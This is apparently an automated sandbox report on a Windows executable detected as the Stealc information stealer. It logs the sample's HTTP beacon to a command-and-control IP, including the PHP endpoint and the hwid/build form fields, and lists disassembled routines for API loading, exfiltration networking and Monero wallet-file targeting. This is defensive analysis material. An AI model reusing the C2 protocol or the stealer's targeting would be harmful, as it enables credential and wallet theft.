Oct 8, 2024 04:12:02.145365000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 04:12:02.369303942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 04:12:02.369390011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 04:12:05.245415926 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6392	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 04:12:01.426021099 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 04:12:02.136774063 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 02:12:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 04:12:02.140467882 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 34 32 35 35 33 46 35 31 36 34 34 30 32 32 33 39 31 37 38 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="hwid"D242553F51644022391788------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="build"doma------CBGCAFIIECBFIDHIJKFB--
Oct 8, 2024 04:12:02.369303942 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 02:12:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	22:11:57
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3b0000
File size:	1'806'336 bytes
MD5 hash:	DCBCBB7ABC2724683097CB469B37C429
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1689272998.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 003C9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01082368), ref: 003C98A1
GetProcAddress.KERNEL32(74DD0000,01082308), ref: 003C98BA
GetProcAddress.KERNEL32(74DD0000,010823C8), ref: 003C98D2
GetProcAddress.KERNEL32(74DD0000,01082320), ref: 003C98EA
GetProcAddress.KERNEL32(74DD0000,01082380), ref: 003C9903
GetProcAddress.KERNEL32(74DD0000,01089208), ref: 003C991B
GetProcAddress.KERNEL32(74DD0000,01075A50), ref: 003C9933
GetProcAddress.KERNEL32(74DD0000,01075A10), ref: 003C994C
GetProcAddress.KERNEL32(74DD0000,01082248), ref: 003C9964
GetProcAddress.KERNEL32(74DD0000,010824B8), ref: 003C997C
GetProcAddress.KERNEL32(74DD0000,01082218), ref: 003C9995
GetProcAddress.KERNEL32(74DD0000,010824D0), ref: 003C99AD
GetProcAddress.KERNEL32(74DD0000,010757D0), ref: 003C99C5
GetProcAddress.KERNEL32(74DD0000,01082398), ref: 003C99DE
GetProcAddress.KERNEL32(74DD0000,01082230), ref: 003C99F6
GetProcAddress.KERNEL32(74DD0000,01075790), ref: 003C9A0E
GetProcAddress.KERNEL32(74DD0000,010823B0), ref: 003C9A27
GetProcAddress.KERNEL32(74DD0000,010823F8), ref: 003C9A3F
GetProcAddress.KERNEL32(74DD0000,01075870), ref: 003C9A57
GetProcAddress.KERNEL32(74DD0000,01082428), ref: 003C9A70
GetProcAddress.KERNEL32(74DD0000,01075A90), ref: 003C9A88
LoadLibraryA.KERNEL32(01082560,?,003C6A00), ref: 003C9A9A
LoadLibraryA.KERNEL32(01082590,?,003C6A00), ref: 003C9AAB
LoadLibraryA.KERNEL32(010825D8,?,003C6A00), ref: 003C9ABD
LoadLibraryA.KERNEL32(01082578,?,003C6A00), ref: 003C9ACF
LoadLibraryA.KERNEL32(01082548,?,003C6A00), ref: 003C9AE0
GetProcAddress.KERNEL32(75A70000,01082518), ref: 003C9B02
GetProcAddress.KERNEL32(75290000,010825A8), ref: 003C9B23
GetProcAddress.KERNEL32(75290000,01082530), ref: 003C9B3B
GetProcAddress.KERNEL32(75BD0000,010825C0), ref: 003C9B5D
GetProcAddress.KERNEL32(75450000,01075950), ref: 003C9B7E
GetProcAddress.KERNEL32(76E90000,01089188), ref: 003C9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 003C9BB6

Strings

NtQueryInformationProcess, xrefs: 003C9BAA

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a8a1df9fc9d0da8d1f666f7e7fd202b69d5e23936aa3b7921b7fe9e679ed377c
Instruction ID: 00f3c0dd61510ac6d8ed5fea76c9b61d48aa509f99cec28f37e5c4d9dd5a519e
Opcode Fuzzy Hash: a8a1df9fc9d0da8d1f666f7e7fd202b69d5e23936aa3b7921b7fe9e679ed377c
Instruction Fuzzy Hash: 9FA18DF5501241AFC308EFA9ED88E7637F9F768380704851AA60DC3224D77DA84AEB13

Function 003B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 003B460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 003B479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46CD

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: ac6fd1e3f900717749ed5f9a575060b7adabffd2454d19313c9bee99136d53e3
Instruction ID: 7448159b976cff37eb024b5a63660f7f6f7fd82fa56f9ee32fd34a0a94ef0172
Opcode Fuzzy Hash: ac6fd1e3f900717749ed5f9a575060b7adabffd2454d19313c9bee99136d53e3
Instruction Fuzzy Hash: 9141E361AC6788EAF636FBE4EC42EDD7B565F8270DB507042EA2092383DFB066084535

Function 003B4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003B4915
StrCmpCA.SHLWAPI(?,0108E7B8), ref: 003B493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,003D0DDB,00000000,?,?,00000000,?,",00000000,?,0108E7F8), ref: 003B4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 003B4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003B4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003B4E49
InternetCloseHandle.WININET(00000000), ref: 003B4EAD
InternetCloseHandle.WININET(00000000), ref: 003B4EC5
HttpOpenRequestA.WININET(00000000,0108E8C8,?,0108DFD8,00000000,00000000,00400100,00000000), ref: 003B4B15

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

InternetCloseHandle.WININET(00000000), ref: 003B4ECF

Strings

", xrefs: 003B4D33
------, xrefs: 003B4C69
", xrefs: 003B4BF2
------, xrefs: 003B49BD
------, xrefs: 003B4B28

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 856d785b31be2e36e76b5411654a961868609abc9e9b2e6413d68e78af28fd16
Instruction ID: 7ebfaae00544dc2345e76b75334c3623c4bd0da190f15601e017a699477cb5ee
Opcode Fuzzy Hash: 856d785b31be2e36e76b5411654a961868609abc9e9b2e6413d68e78af28fd16
Instruction Fuzzy Hash: 6712C87291061CABDB16EB90DC92FEEB778AF14304F50419DB106AA091EF702F49CF66

Function 003C7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003B11B7), ref: 003C7880
RtlAllocateHeap.NTDLL(00000000), ref: 003C7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 003C789F

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a2ef45f579205ebc44356beb9632b0228bca343b8554d58bc8d77750bbd32b48
Instruction ID: 5cf26d08c785ec9b0d3d326c4a9f0f4e1ed096289aa6da4abb3ce0d5ff52cb54
Opcode Fuzzy Hash: a2ef45f579205ebc44356beb9632b0228bca343b8554d58bc8d77750bbd32b48
Instruction Fuzzy Hash: B7F044F1944208AFC700DF95DD45FAEBBB8F704751F100159FA05E3680C7781904CBA2

Function 003B1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 003B116A
ExitProcess.KERNEL32 ref: 003B117E

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 827c0bc94a7126e645342d1d33665dafc2280d979fe4a28901c4ff6c3f9427e4
Instruction ID: 767420209e0aeff40f29aeb1bc64090218ba4525e7fb29b236cd7ba78641afad
Opcode Fuzzy Hash: 827c0bc94a7126e645342d1d33665dafc2280d979fe4a28901c4ff6c3f9427e4
Instruction Fuzzy Hash: DED05EB490130CDBCB00EFE0D849AEDBB78FB08315F000554D909B2340EA346486CAA6

Function 003C9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01075750), ref: 003C9C2D
GetProcAddress.KERNEL32(74DD0000,01075A70), ref: 003C9C45
GetProcAddress.KERNEL32(74DD0000,01089670), ref: 003C9C5E
GetProcAddress.KERNEL32(74DD0000,010896D0), ref: 003C9C76
GetProcAddress.KERNEL32(74DD0000,01089610), ref: 003C9C8E
GetProcAddress.KERNEL32(74DD0000,01089640), ref: 003C9CA7
GetProcAddress.KERNEL32(74DD0000,0107B748), ref: 003C9CBF
GetProcAddress.KERNEL32(74DD0000,0108CF00), ref: 003C9CD7
GetProcAddress.KERNEL32(74DD0000,0108D0B0), ref: 003C9CF0
GetProcAddress.KERNEL32(74DD0000,0108CE88), ref: 003C9D08
GetProcAddress.KERNEL32(74DD0000,0108D068), ref: 003C9D20
GetProcAddress.KERNEL32(74DD0000,010758D0), ref: 003C9D39
